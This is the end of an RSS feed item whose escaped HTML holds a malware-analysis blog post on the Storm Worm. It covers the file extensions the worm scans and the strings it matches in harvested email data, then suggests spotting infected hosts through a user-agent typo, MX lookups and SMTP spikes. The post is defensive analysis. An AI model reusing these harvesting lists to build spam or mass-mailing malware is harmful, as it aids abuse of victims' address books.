&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;u&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-text-decorations-in-effect: none; font-weight: normal;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;Scanning the Drive for Files&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/u&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 15px;&quot;&gt;Storm also includes a routine to scan the drives for files with the following extensions:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: inherit; line-height: 15px; list-style-image: initial; list-style-position: outside; list-style-type: initial; margin-bottom: 0px; margin-left: 20px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;.wab, .txt, .msg, .htm, .shtm, .stm, .xml, .dbx, .mbx, .mdx, .eml, .nch, .mmf, .ods, .cfg, .asp, .php, .pl, .wsh, .adb, .tbb, .sht, .xls, .oft, .win, .cgi, .mht, .dhtm, .jsp, .dat, .lst&lt;/span&gt;&lt;/ul&gt;
&lt;div style=&quot;font-style: inherit; line-height: 15px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;It also searches for particular strings within these files, probably to extract the information about the host and email addresses contained in them:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; list-style-image: initial; list-style-position: outside; list-style-type: initial; margin-bottom: 0px; margin-left: 20px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;ul style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; list-style-image: initial; list-style-position: outside; list-style-type: initial; margin-bottom: 0px; margin-left: 20px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 15px;&quot;&gt;@microsoft, rating@, f-secur, news, update, anyone@, bugs@, contract@, feste, gold-certs@, help@, info@, nobody@, noone@, kasp, admin, icrosoft, support, ntivi, unix, bsd, linux, listserv, certific, sopho, @foo, @iana, free -av, @messagelab, winzip, google, winrar, samples, abuse, panda, cafee, spam, pgp, @avp., noreply, local, root@, postmaster@&lt;/span&gt;&lt;/ul&gt;
&lt;div style=&quot;font-style: inherit; font-weight: inherit; line-height: 15px;&quot;&gt;
&lt;/div&gt;
&lt;/ul&gt;
&lt;div style=&quot;font-style: inherit; line-height: 15px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: inherit; line-height: 15px;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;Detecting Storm Worm on the Wire&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: inherit; line-height: 15px;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;The majority of mail traffic over the Internet is spam. We need to detect these spam bots and try to keep them from proliferating. Our analysis provides good hints for detecting Storm traffic on the network. One high-confidence approach would be to correlate multiple suspicious events happening on the network within a short time. One example is a user-agent check for the typo we saw; we can correlate this with the multiple outbound DNS MX queries from the same source within a short time. An even more reliable detection would be to correlate those two events with a spontaneous increase in the outbound SMTP connections from the source.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt; &lt;/span&gt;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2011/01/dissecting-storm-worm.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaQ3A1SZpHN-fxLAhgcm11nh5hUvGNy2zd33a9kO6CBj2ao-3-DeM6HX00TXDr9z47ekhDuwRCSvXb9OKFob92w44Hm8WY7ISPdZ9PrDOLP6uH20tPnokRAW8XeOikIubR-cflQ3KR7P0/s72-c/unpack_1.PNG" height="72" width="72"/><thr:total>0</thr:total></item></channel></rss>